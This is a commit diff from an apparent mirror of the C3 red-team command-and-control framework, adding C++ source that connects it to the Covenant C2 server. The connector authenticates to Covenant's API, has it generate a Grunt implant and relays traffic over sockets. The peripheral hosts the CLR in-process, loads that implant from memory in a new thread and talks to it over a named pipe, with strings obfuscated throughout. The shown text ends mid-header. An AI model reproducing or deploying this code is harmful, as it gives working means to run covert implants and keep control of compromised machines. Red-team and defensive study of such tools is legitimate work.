mirror of https://github.com/infosecn1nja/C3.git
initial commit
parent
08c3087aa7
commit
b29fd34656
|
@ -0,0 +1,512 @@
|
|||
#include "StdAfx.h"
|
||||
#include "Common/MWR/Sockets/SocketsException.h"
|
||||
#include "Common/json/json.hpp"
|
||||
#include "Common/CppRestSdk/include/cpprest/http_client.h"
|
||||
#include "Common/MWR/Crypto/Base64.h"
|
||||
|
||||
using json = nlohmann::json;
|
||||
|
||||
namespace MWR::C3::Interfaces::Connectors
|
||||
{
|
||||
/// A class representing communication with Covenant.
|
||||
struct Covenant : Connector<Covenant>
|
||||
{
|
||||
/// Public constructor.
|
||||
/// @param arguments factory arguments.
|
||||
Covenant(ByteView arguments);
|
||||
|
||||
/// A public destructor.
|
||||
~Covenant();
|
||||
|
||||
/// OnCommandFromConnector callback implementation.
|
||||
/// @param binderId Identifier of Peripheral who sends the Command.
|
||||
/// @param command full Command with arguments.
|
||||
void OnCommandFromBinder(ByteView binderId, ByteView command) override;
|
||||
|
||||
/// Processes internal (C3 API) Command.
|
||||
/// @param command a buffer containing whole command and it's parameters.
|
||||
/// @return command result.
|
||||
ByteVector OnRunCommand(ByteView command) override;
|
||||
|
||||
/// Called every time new implant is being created.
|
||||
/// @param connectionId adders of Grunt in C3 network .
|
||||
/// @param data parameters used to create implant. If payload is empty, new one will be generated.
|
||||
/// @param isX64 indicates if relay staging beacon is x64.
|
||||
/// @returns ByteVector correct command that will be used to stage beacon.
|
||||
ByteVector PeripheralCreationCommand(ByteView connectionId, ByteView data, bool isX64) override;
|
||||
|
||||
/// Return json with commands.
|
||||
/// @return ByteView Commands description in JSON format.
|
||||
static ByteView GetCapability();
|
||||
|
||||
private:
|
||||
/// Represents a single C3 <-> Covenant connection, as well as each Grunt in network.
|
||||
struct Connection
|
||||
{
|
||||
/// Constructor.
|
||||
/// @param listeningPostAddress adders of Bridge.
|
||||
/// @param listeningPostPort port of Bridge.
|
||||
/// @param owner weak pointer to Covenant class.
|
||||
/// @param id id used to address Grunt.
|
||||
Connection(std::string_view listeningPostAddress, uint16_t listeningPostPort, std::weak_ptr<Covenant> owner, std::string_view id = ""sv);
|
||||
|
||||
/// Destructor.
|
||||
~Connection();
|
||||
|
||||
/// Sends data directly to Covenant.
|
||||
/// @param data buffer containing blob to send.
|
||||
/// @remarks throws MWR::WinSocketsException on WinSockets error.
|
||||
void Send(ByteView data);
|
||||
|
||||
/// Creates the receiving thread.
|
||||
/// As long as connection is alive detached thread will pull available data Covenant.
|
||||
void StartUpdatingInSeparateThread();
|
||||
|
||||
/// Reads data from Socket.
|
||||
/// @return heartbeat read data.
|
||||
ByteVector Receive();
|
||||
|
||||
/// Indicates that receiving thread was already started.
|
||||
/// @returns true if receiving thread was started, false otherwise.
|
||||
bool SecondThreadStarted();
|
||||
|
||||
private:
|
||||
/// Pointer to TeamServer instance.
|
||||
std::weak_ptr<Covenant> m_Owner;
|
||||
|
||||
/// A socket object used in communication with the Bridge listener.
|
||||
SOCKET m_Socket;
|
||||
|
||||
/// RouteID in binary form. Address of beacon in network.
|
||||
ByteVector m_Id;
|
||||
|
||||
/// Indicates that receiving thread was already started.
|
||||
bool m_SecondThreadStarted = false;
|
||||
};
|
||||
|
||||
/// Retrieves grunt payload from Covenant using the API.
|
||||
/// @param binderId address of beacon in network.
|
||||
/// @param pipename name of pipe hosted by the SMB Grunt.
|
||||
/// @param delay number of seconds for SMB grunt to block for
|
||||
/// @param jitter percent to jitter the delay by
|
||||
/// @param listenerId the id of the Bridge listener for covenant
|
||||
/// @return generated payload.
|
||||
MWR::ByteVector GeneratePayload(ByteView binderId, std::string pipename, uint32_t delay, uint32_t jitter, uint32_t listenerId);
|
||||
|
||||
/// Close desired connection
|
||||
/// @arguments arguments for command. connection Id in string form.
|
||||
/// @returns ByteVector empty vector.
|
||||
MWR::ByteVector CloseConnection(ByteView arguments);
|
||||
|
||||
/// Initializes Sockets library. Can be called multiple times, but requires corresponding number of calls to DeinitializeSockets() to happen before closing the application.
|
||||
/// @return value forwarded from WSAStartup call (zero if successful).
|
||||
static int InitializeSockets();
|
||||
|
||||
/// Deinitializes Sockets library.
|
||||
/// @return true if successful, otherwise WSAGetLastError might be called to retrieve specific error number.
|
||||
static bool DeinitializeSockets();
|
||||
|
||||
/// IP Address of Bridge Listener.
|
||||
std::string m_ListeningPostAddress;
|
||||
|
||||
/// Port of Bridge Listener.
|
||||
uint16_t m_ListeningPostPort;
|
||||
|
||||
///Covenant host for web API
|
||||
std::string m_webHost;
|
||||
|
||||
///Covenant username
|
||||
std::string m_username;
|
||||
|
||||
///Covenant password
|
||||
std::string m_password;
|
||||
|
||||
///API token, generated on logon.
|
||||
std::string m_token;
|
||||
|
||||
/// Access mutex for m_ConnectionMap.
|
||||
std::mutex m_ConnectionMapAccess;
|
||||
|
||||
/// Access mutex for sending data to Covenant.
|
||||
std::mutex m_SendMutex;
|
||||
|
||||
/// Map of all connections.
|
||||
std::unordered_map<std::string, std::unique_ptr<Connection>> m_ConnectionMap;
|
||||
};
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
MWR::C3::Interfaces::Connectors::Covenant::Covenant(ByteView arguments)
|
||||
{
|
||||
json postData;
|
||||
json response;
|
||||
std::string postDataDump;
|
||||
std::string binary;
|
||||
|
||||
std::tie(m_ListeningPostAddress, m_ListeningPostPort, m_webHost, m_username, m_password) = arguments.Read<std::string, uint16_t, std::string, std::string, std::string>();
|
||||
InitializeSockets();
|
||||
|
||||
|
||||
/***Authenticate to Web API ***/
|
||||
std::string url = this->m_webHost + OBF("/api/users/login");
|
||||
|
||||
postData[OBF("username")] = this->m_username;
|
||||
postData[OBF("password")] = this->m_password;
|
||||
|
||||
web::http::client::http_client_config config;
|
||||
config.set_validate_certificates(false); //Covenant framework is unlikely to have a valid cert.
|
||||
|
||||
web::http::client::http_client webClient(utility::conversions::to_string_t(url), config);
|
||||
web::http::http_request request;
|
||||
|
||||
request = web::http::http_request(web::http::methods::POST);
|
||||
postDataDump = postData.dump();
|
||||
request.headers().set_content_type(utility::conversions::to_string_t(OBF("application/json")));
|
||||
request.set_body(utility::conversions::to_string_t(postDataDump));
|
||||
|
||||
pplx::task<web::http::http_response> task = webClient.request(request).then([&](web::http::http_response response)
|
||||
{
|
||||
return response;
|
||||
});
|
||||
|
||||
task.wait();
|
||||
web::http::http_response resp = task.get();
|
||||
|
||||
if (resp.status_code() == web::http::status_codes::OK)
|
||||
{
|
||||
//Get the json response
|
||||
auto respData = resp.extract_string();
|
||||
response = json::parse(respData.get());
|
||||
}
|
||||
else
|
||||
throw std::exception(OBF("[Covenant] Error authenticating to web app, HTTP resp: ") + resp.status_code());
|
||||
|
||||
//Get the token to be used for all other requests.
|
||||
if (response[OBF("success")])
|
||||
this->m_token = response[OBF("covenantToken")].get<std::string>();
|
||||
else
|
||||
throw std::exception(OBF("[Covenant] Could not get token, invalid logon"));
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
MWR::C3::Interfaces::Connectors::Covenant::~Covenant()
|
||||
{
|
||||
DeinitializeSockets();
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
void MWR::C3::Interfaces::Connectors::Covenant::OnCommandFromBinder(ByteView binderId, ByteView command)
|
||||
{
|
||||
std::scoped_lock<std::mutex> lock(m_ConnectionMapAccess);
|
||||
|
||||
auto it = m_ConnectionMap.find(binderId);
|
||||
if (it == m_ConnectionMap.end())
|
||||
throw std::runtime_error{ OBF("Unknown connection") };
|
||||
|
||||
if (!(it->second->SecondThreadStarted()))
|
||||
it->second->StartUpdatingInSeparateThread();
|
||||
|
||||
it->second->Send(command);
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
int MWR::C3::Interfaces::Connectors::Covenant::InitializeSockets()
|
||||
{
|
||||
WSADATA wsaData;
|
||||
WORD wVersionRequested;
|
||||
wVersionRequested = MAKEWORD(2, 2);
|
||||
return WSAStartup(wVersionRequested, &wsaData);
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
bool MWR::C3::Interfaces::Connectors::Covenant::DeinitializeSockets()
|
||||
{
|
||||
return WSACleanup() == 0;
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::GeneratePayload(ByteView binderId, std::string pipename, uint32_t delay, uint32_t jitter, uint32_t listenerId)
|
||||
{
|
||||
if (binderId.empty() || pipename.empty())
|
||||
throw std::runtime_error{ OBF("Wrong parameters, cannot create payload") };
|
||||
|
||||
std::string authHeader = OBF("Bearer ") + this->m_token;
|
||||
std::string contentHeader = OBF("Content-Type: application/json");
|
||||
std::string postDataDump;
|
||||
std::string binary;
|
||||
|
||||
web::http::client::http_client_config config;
|
||||
config.set_validate_certificates(false);
|
||||
web::http::client::http_client webClient(utility::conversions::to_string_t(this->m_webHost + OBF("/api/launchers/binary")), config);
|
||||
web::http::http_request request;
|
||||
|
||||
//The data to create an SMB Grunt
|
||||
json postData;
|
||||
postData[OBF("id")] = 0;
|
||||
postData[OBF("smbPipeName")] = pipename;
|
||||
postData[OBF("listenerId")] = listenerId;
|
||||
postData[OBF("outputKind")] = OBF("ConsoleApplication");
|
||||
postData[OBF("implantTemplateId")] = 2; //for GruntSMB template
|
||||
postData[OBF("dotNetFrameworkVersion")] = OBF("Net40");
|
||||
postData[OBF("type")] = OBF("Wmic");
|
||||
postData[OBF("delay")] = delay;
|
||||
postData[OBF("jitterPercent")] = jitter;
|
||||
postData[OBF("connectAttempts")] = 5000;
|
||||
|
||||
//First we use a PUT to add our data as the template.
|
||||
request = web::http::http_request(web::http::methods::PUT);
|
||||
postDataDump = postData.dump();
|
||||
try
|
||||
{
|
||||
request.headers().set_content_type(utility::conversions::to_string_t("application/json"));
|
||||
request.set_body(utility::conversions::to_string_t(postDataDump));
|
||||
|
||||
request.headers().add(OBF_W(L"Authorization"), utility::conversions::to_string_t(authHeader));
|
||||
pplx::task<web::http::http_response> task = webClient.request(request).then([&](web::http::http_response response)
|
||||
{
|
||||
return response;
|
||||
});
|
||||
|
||||
task.wait();
|
||||
web::http::http_response resp = task.get();
|
||||
|
||||
//If we get 200 OK, then we use a POST to request the generation of the payload. We can reuse the previous data here.
|
||||
if (resp.status_code() == web::http::status_codes::OK)
|
||||
{
|
||||
request.set_method(web::http::methods::POST);
|
||||
task = webClient.request(request).then([&](web::http::http_response response)
|
||||
{
|
||||
return response;
|
||||
});
|
||||
task.wait();
|
||||
resp = task.get();
|
||||
|
||||
auto respData = resp.extract_string();
|
||||
json resp = json::parse(respData.get());
|
||||
binary = resp[OBF("base64ILByteString")].get<std::string>(); //Contains the base64 encoded .NET assembly.
|
||||
}
|
||||
|
||||
auto payload = cppcodec::base64_rfc4648::decode(binary);
|
||||
|
||||
//Finally connect to the socket.
|
||||
auto connection = std::make_unique<Connection>(m_ListeningPostAddress, m_ListeningPostPort, std::static_pointer_cast<Covenant>(shared_from_this()), binderId);
|
||||
m_ConnectionMap.emplace(std::string{ binderId }, std::move(connection));
|
||||
return payload;
|
||||
}
|
||||
catch(std::exception e)
|
||||
{
|
||||
throw std::exception(OBF("Error generating payload"));
|
||||
}
|
||||
}
|
||||
|
||||
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::CloseConnection(ByteView arguments)
|
||||
{
|
||||
auto id = arguments.Read<std::string>();
|
||||
m_ConnectionMap.erase(id);
|
||||
return {};
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::OnRunCommand(ByteView command)
|
||||
{
|
||||
auto commandCopy = command;
|
||||
switch (command.Read<uint16_t>())
|
||||
{
|
||||
// case 0:
|
||||
// return GeneratePayload(command);
|
||||
case 1:
|
||||
return CloseConnection(command);
|
||||
default:
|
||||
return AbstractConnector::OnRunCommand(commandCopy);
|
||||
}
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
MWR::ByteView MWR::C3::Interfaces::Connectors::Covenant::GetCapability()
|
||||
{
|
||||
return R"(
|
||||
{
|
||||
"create":
|
||||
{
|
||||
"arguments":
|
||||
[
|
||||
{
|
||||
"type": "ip",
|
||||
"name": "Address",
|
||||
"description": "C2Bridge ip address"
|
||||
},
|
||||
{
|
||||
"type": "uint16",
|
||||
"name": "Port",
|
||||
"min": 1,
|
||||
"description": "C2Bridge port"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"name": "Covenant Web Host",
|
||||
"min": 1,
|
||||
"description": "Host for Covenant - eg https://localhost:7443/"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"name": "Username",
|
||||
"min": 1,
|
||||
"description": "Username to authenticate"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"name": "Password",
|
||||
"min": 1,
|
||||
"description": "Password to authenticate"
|
||||
}
|
||||
]
|
||||
},
|
||||
"commands":
|
||||
[
|
||||
{
|
||||
"name": "Close connection",
|
||||
"description": "Close socket connection with TeamServer if beacon is not available",
|
||||
"id": 1,
|
||||
"arguments":
|
||||
[
|
||||
{
|
||||
"name": "Route Id",
|
||||
"min": 1,
|
||||
"description": "Id associated to beacon"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
)";
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
MWR::C3::Interfaces::Connectors::Covenant::Connection::Connection(std::string_view listeningPostAddress, uint16_t listeningPostPort, std::weak_ptr<Covenant> owner, std::string_view id)
|
||||
: m_Owner(owner)
|
||||
, m_Id(ByteView{ id })
|
||||
{
|
||||
|
||||
/*** Connect to C2Bridge ***/
|
||||
sockaddr_in client;
|
||||
client.sin_family = AF_INET;
|
||||
client.sin_port = htons(listeningPostPort);
|
||||
switch (InetPtonA(AF_INET, &listeningPostAddress.front(), &client.sin_addr.s_addr)) //< Mod to solve deprecation issue.
|
||||
{
|
||||
case 0:
|
||||
throw std::invalid_argument(OBF("Provided Listening Post address in not a valid IPv4 dotted - decimal string or a valid IPv6 address."));
|
||||
case -1:
|
||||
throw MWR::SocketsException(OBF("Couldn't convert standard text IPv4 or IPv6 address into its numeric binary form. Error code : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
|
||||
}
|
||||
|
||||
// Attempt to connect.
|
||||
if (INVALID_SOCKET == (m_Socket = socket(AF_INET, SOCK_STREAM, 0)))
|
||||
throw MWR::SocketsException(OBF("Couldn't create socket."), WSAGetLastError());
|
||||
|
||||
if (SOCKET_ERROR == connect(m_Socket, (struct sockaddr*) & client, sizeof(client)))
|
||||
throw MWR::SocketsException(OBF("Could not connect to ") + std::string{ listeningPostAddress } +OBF(":") + std::to_string(listeningPostPort) + OBF("."), WSAGetLastError());
|
||||
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
MWR::C3::Interfaces::Connectors::Covenant::Connection::~Connection()
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
}
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
void MWR::C3::Interfaces::Connectors::Covenant::Connection::Send(ByteView data)
|
||||
{
|
||||
auto owner = m_Owner.lock();
|
||||
if (!owner)
|
||||
throw std::runtime_error(OBF("Could not lock pointer to owner "));
|
||||
|
||||
std::unique_lock<std::mutex> lock{ owner->m_SendMutex };
|
||||
|
||||
//Format the length to match how it is read by Covenant.
|
||||
DWORD length = static_cast<DWORD>(data.size());
|
||||
BYTE* bytes = (BYTE*)& length;
|
||||
DWORD32 chunkLength = (bytes[0] << 24) + (bytes[1] << 16) + (bytes[2] << 8) + bytes[3];
|
||||
|
||||
// Write four bytes indicating the length of the next chunk of data.
|
||||
if (SOCKET_ERROR == send(m_Socket, (char *)&chunkLength, 4, 0))
|
||||
throw MWR::SocketsException(OBF("Error sending to Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
|
||||
|
||||
// Write the chunk to socket.
|
||||
send(m_Socket, (char *)&data.front(), length, 0);
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::Connection::Receive()
|
||||
{
|
||||
DWORD chunkLength = 0, bytesRead;
|
||||
if (SOCKET_ERROR == (bytesRead = recv(m_Socket, reinterpret_cast<char*>(&chunkLength), 4, 0)))
|
||||
throw MWR::SocketsException(OBF("Error receiving from Socket : ") + std::to_string(WSAGetLastError()) + ("."), WSAGetLastError());
|
||||
|
||||
if (!bytesRead || !chunkLength)
|
||||
return {}; //< The connection has been gracefully closed.
|
||||
|
||||
//Format the length to match how it is written by Covenant.
|
||||
BYTE* bytes = (BYTE*)& chunkLength;
|
||||
DWORD32 len = (bytes[0] << 24) + (bytes[1] << 16) + (bytes[2] << 8) + bytes[3];
|
||||
|
||||
// Read in the result.
|
||||
ByteVector buffer;
|
||||
buffer.resize(len);
|
||||
for (DWORD bytesReadTotal = 0; bytesReadTotal < len; bytesReadTotal += bytesRead)
|
||||
switch (bytesRead = recv(m_Socket, reinterpret_cast<char*>(&buffer[bytesReadTotal]), len - bytesReadTotal, 0))
|
||||
{
|
||||
case 0:
|
||||
return {}; //< The connection has been gracefully closed.
|
||||
|
||||
case SOCKET_ERROR:
|
||||
throw MWR::SocketsException(OBF("Error receiving from Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
|
||||
}
|
||||
|
||||
return buffer;
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
void MWR::C3::Interfaces::Connectors::Covenant::Connection::StartUpdatingInSeparateThread()
|
||||
{
|
||||
m_SecondThreadStarted = true;
|
||||
std::thread([&]()
|
||||
{
|
||||
// Lock pointers.
|
||||
auto owner = m_Owner.lock();
|
||||
auto bridge = owner->GetBridge();
|
||||
while (bridge->IsAlive())
|
||||
{
|
||||
try
|
||||
{
|
||||
// Read packet and post it to Binder.
|
||||
if (auto packet = Receive(); !packet.empty())
|
||||
{
|
||||
if (packet.size() == 1u && packet[0] == 0u)
|
||||
Send(packet);
|
||||
else
|
||||
bridge->PostCommandToBinder(ByteView{ m_Id }, packet);
|
||||
}
|
||||
}
|
||||
catch (std::exception& e)
|
||||
{
|
||||
bridge->Log({ e.what(), LogMessage::Severity::Error });
|
||||
}
|
||||
}
|
||||
}).detach();
|
||||
}
|
||||
|
||||
bool MWR::C3::Interfaces::Connectors::Covenant::Connection::SecondThreadStarted()
|
||||
{
|
||||
return m_SecondThreadStarted;
|
||||
}
|
||||
|
||||
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::PeripheralCreationCommand(ByteView connectionId, ByteView data, bool isX64)
|
||||
{
|
||||
auto [pipeName, listenerId, delay, jitter] = data.Read<std::string, uint32_t, uint32_t, uint32_t>();
|
||||
|
||||
|
||||
return ByteVector{}.Write(pipeName, GeneratePayload(connectionId, pipeName, delay, jitter, listenerId));
|
||||
}
|
||||
|
|
@ -0,0 +1,271 @@
|
|||
#include "StdAfx.h"
|
||||
#include "Grunt.h"
|
||||
|
||||
//This function will run the .NET assembly
|
||||
void RuntimeV4Host(PBYTE pbAssembly, SIZE_T assemblyLen)
|
||||
{
|
||||
HANDLE hHeap = GetProcessHeap();
|
||||
HRESULT hr;
|
||||
ICLRMetaHost* pMetaHost = NULL;
|
||||
ICLRRuntimeInfo* pRuntimeInfo = NULL;
|
||||
ICorRuntimeHost* pCorRuntimeHost = NULL;
|
||||
IUnknownPtr spAppDomainThunk = NULL;
|
||||
_AppDomainPtr spDefaultAppDomain = NULL;
|
||||
_AssemblyPtr spAssembly = NULL;
|
||||
_TypePtr spType = NULL;
|
||||
_variant_t vtEmpty = NULL;
|
||||
_variant_t output;
|
||||
BSTR bstrStaticMethodName = NULL;
|
||||
BSTR bstrClassName = NULL;
|
||||
SAFEARRAY* psaTypesArray = NULL;
|
||||
SAFEARRAY* psaStaticMethodArgs = NULL;
|
||||
SAFEARRAY* arr = NULL;
|
||||
PBYTE pbAssemblyIndex = NULL;
|
||||
PBYTE pbDataIndex = NULL;
|
||||
long index = 0;
|
||||
PWSTR wcs = NULL;
|
||||
|
||||
hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost));
|
||||
if (FAILED(hr))
|
||||
{
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
hr = pMetaHost->GetRuntime(OBF_W(L"v4.0.30319"), IID_PPV_ARGS(&pRuntimeInfo));
|
||||
if (FAILED(hr))
|
||||
{
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
BOOL fLoadable;
|
||||
hr = pRuntimeInfo->IsLoadable(&fLoadable);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
if (!fLoadable)
|
||||
{
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_PPV_ARGS(&pCorRuntimeHost));
|
||||
if (FAILED(hr))
|
||||
{
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
hr = pCorRuntimeHost->Start();
|
||||
if (FAILED(hr))
|
||||
{
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
hr = pCorRuntimeHost->CreateDomain(OBF_W(L"AppDomain"), NULL, &spAppDomainThunk);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
hr = spAppDomainThunk->QueryInterface(IID_PPV_ARGS(&spDefaultAppDomain));
|
||||
if (FAILED(hr))
|
||||
{
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
|
||||
SAFEARRAYBOUND bounds[1];
|
||||
bounds[0].cElements = assemblyLen;
|
||||
bounds[0].lLbound = 0;
|
||||
|
||||
arr = SafeArrayCreate(VT_UI1, 1, bounds);
|
||||
SafeArrayLock(arr);
|
||||
|
||||
pbAssemblyIndex = pbAssembly;
|
||||
pbDataIndex = (PBYTE)arr->pvData;
|
||||
|
||||
while (pbAssemblyIndex - pbAssembly < assemblyLen)
|
||||
* (BYTE*)pbDataIndex++ = *(BYTE*)pbAssemblyIndex++;
|
||||
|
||||
SafeArrayUnlock(arr);
|
||||
hr = spDefaultAppDomain->Load_3(arr, &spAssembly);
|
||||
|
||||
|
||||
if (FAILED(hr) || spAssembly == NULL)
|
||||
{
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
|
||||
hr = spAssembly->GetTypes(&psaTypesArray);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
index = 0;
|
||||
hr = SafeArrayGetElement(psaTypesArray, &index, &spType);
|
||||
if (FAILED(hr) || spType == NULL)
|
||||
{
|
||||
goto Cleanup;
|
||||
}
|
||||
bstrStaticMethodName = SysAllocString(L"Execute");
|
||||
|
||||
hr = spType->InvokeMember_3(bstrStaticMethodName, static_cast<BindingFlags>(
|
||||
BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public),
|
||||
NULL, vtEmpty, NULL, &output);
|
||||
|
||||
if (FAILED(hr))
|
||||
{
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
Cleanup:
|
||||
if (spDefaultAppDomain)
|
||||
{
|
||||
pCorRuntimeHost->UnloadDomain(spDefaultAppDomain);
|
||||
spDefaultAppDomain = NULL;
|
||||
}
|
||||
if (pMetaHost)
|
||||
{
|
||||
pMetaHost->Release();
|
||||
pMetaHost = NULL;
|
||||
}
|
||||
if (pRuntimeInfo)
|
||||
{
|
||||
pRuntimeInfo->Release();
|
||||
pRuntimeInfo = NULL;
|
||||
}
|
||||
if (pCorRuntimeHost)
|
||||
{
|
||||
pCorRuntimeHost->Release();
|
||||
pCorRuntimeHost = NULL;
|
||||
}
|
||||
if (psaTypesArray)
|
||||
{
|
||||
SafeArrayDestroy(psaTypesArray);
|
||||
psaTypesArray = NULL;
|
||||
}
|
||||
if (psaStaticMethodArgs)
|
||||
{
|
||||
SafeArrayDestroy(psaStaticMethodArgs);
|
||||
psaStaticMethodArgs = NULL;
|
||||
}
|
||||
SysFreeString(bstrClassName);
|
||||
SysFreeString(bstrStaticMethodName);
|
||||
}
|
||||
|
||||
|
||||
MWR::C3::Interfaces::Peripherals::Grunt::Grunt(ByteView arguments)
|
||||
{
|
||||
|
||||
auto [pipeName, payload] = arguments.Read<std::string, ByteVector>();
|
||||
|
||||
BYTE *x = (BYTE *)payload.data();
|
||||
SIZE_T len = payload.size();
|
||||
|
||||
//Setup the arguments to run the .NET assembly in a seperate thread.
|
||||
namespace SEH = MWR::WinTools::StructuredExceptionHandling;
|
||||
SEH::gruntArgs args;
|
||||
args.gruntStager = x;
|
||||
args.len = len;
|
||||
args.func = RuntimeV4Host;
|
||||
|
||||
|
||||
// Inject the payload stage into the current process.
|
||||
if (!CreateThread(NULL, 0, reinterpret_cast<LPTHREAD_START_ROUTINE>(SEH::SehWrapperCov), &args, 0, nullptr))
|
||||
throw std::runtime_error{ OBF("Couldn't run payload: ") + std::to_string(GetLastError()) + OBF(".") };
|
||||
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds{ 30 }); // Give Grunt thread time to start pipe.
|
||||
while(1)
|
||||
try
|
||||
{
|
||||
m_Pipe = WinTools::AlternatingPipe{ ByteView{ pipeName } };
|
||||
return;
|
||||
}
|
||||
catch (std::exception& e)
|
||||
{
|
||||
// Sleep between trials.
|
||||
Log({ OBF_SEC("Grunt constructor: ") + e.what(), LogMessage::Severity::DebugInformation });
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds{ 5 });
|
||||
}
|
||||
|
||||
return;
|
||||
|
||||
}
|
||||
|
||||
void MWR::C3::Interfaces::Peripherals::Grunt::OnCommandFromConnector(ByteView data)
|
||||
{
|
||||
// Get access to write when whole read is done.
|
||||
std::unique_lock<std::mutex> lock{ m_Mutex };
|
||||
m_ConditionalVariable.wait(lock, [this]() { return !m_ReadingState; });
|
||||
|
||||
// Write to Covenant specific pipe
|
||||
m_Pipe->WriteCov(data);
|
||||
|
||||
// Unlock, and block writing until read is done.
|
||||
m_ReadingState = true;
|
||||
lock.unlock();
|
||||
m_ConditionalVariable.notify_one();
|
||||
|
||||
}
|
||||
|
||||
MWR::ByteVector MWR::C3::Interfaces::Peripherals::Grunt::OnReceiveFromPeripheral()
|
||||
{
|
||||
std::unique_lock<std::mutex> lock{ m_Mutex };
|
||||
m_ConditionalVariable.wait(lock, [this]() { return m_ReadingState; });
|
||||
|
||||
// Read
|
||||
auto ret = m_Pipe->ReadCov();
|
||||
|
||||
m_ReadingState = false;
|
||||
lock.unlock();
|
||||
m_ConditionalVariable.notify_one();
|
||||
|
||||
return ret;
|
||||
|
||||
}
|
||||
|
||||
MWR::ByteView MWR::C3::Interfaces::Peripherals::Grunt::GetCapability()
|
||||
{
|
||||
return R"(
|
||||
{
|
||||
"create":
|
||||
{
|
||||
"arguments":
|
||||
[
|
||||
{
|
||||
"type": "string",
|
||||
"name": "Pipe name",
|
||||
"min": 4,
|
||||
"randomize": true,
|
||||
"description": "Name of the pipe Beacon uses for communication."
|
||||
},
|
||||
{
|
||||
"type": "int32",
|
||||
"min": 1,
|
||||
"defaultValue" : 1,
|
||||
"name": "Listener ID",
|
||||
"description": "Id of the Bridge Listener in Covenant"
|
||||
},
|
||||
{
|
||||
"type": "int32",
|
||||
"min": 1,
|
||||
"defaultValue" : 30,
|
||||
"name": "Delay",
|
||||
"description": "Delay"
|
||||
},
|
||||
{
|
||||
"type": "int32",
|
||||
"min": 0,
|
||||
"defaultValue" : 30,
|
||||
"name": "Jitter",
|
||||
"description": "Jitter"
|
||||
}
|
||||
]
|
||||
},
|
||||
"commands": []
|
||||
}
|
||||
)";
|
||||
}
|
||||
|
|
@ -0,0 +1,56 @@
|
|||
#pragma once
|
||||
|
||||
#include <optional>
|
||||
#include <metahost.h>
|
||||
|
||||
//For loading of CLR
|
||||
#pragma comment(lib, "mscoree.lib")
|
||||
#import "mscorlib.tlb" raw_interfaces_only high_property_prefixes("_get", "_put", "_putref") rename("ReportEvent", "InteropServices_ReportEvent") auto_rename
|
||||
using namespace mscorlib;
|
||||
|
||||
#include "Common/MWR/WinTools/Pipe.h"
|
||||
|
||||
/// Forward declaration of Connector associated with implant.
|
||||
/// Connectors implementation is only available on GateRelay, not NodeRelays.
|
||||
/// Declaration must be identical to Connector definition. Namespace or struct/class mismatch will make Peripheral unusable.
|
||||
namespace MWR::C3::Interfaces::Connectors { struct Covenant; }
|
||||
|
||||
namespace MWR::C3::Interfaces::Peripherals
|
||||
{
|
||||
/// Class representing Grunt stager.
|
||||
struct Grunt : public Peripheral<Grunt, Connectors::Covenant>
|
||||
{
|
||||
public:
|
||||
/// Public constructor.
|
||||
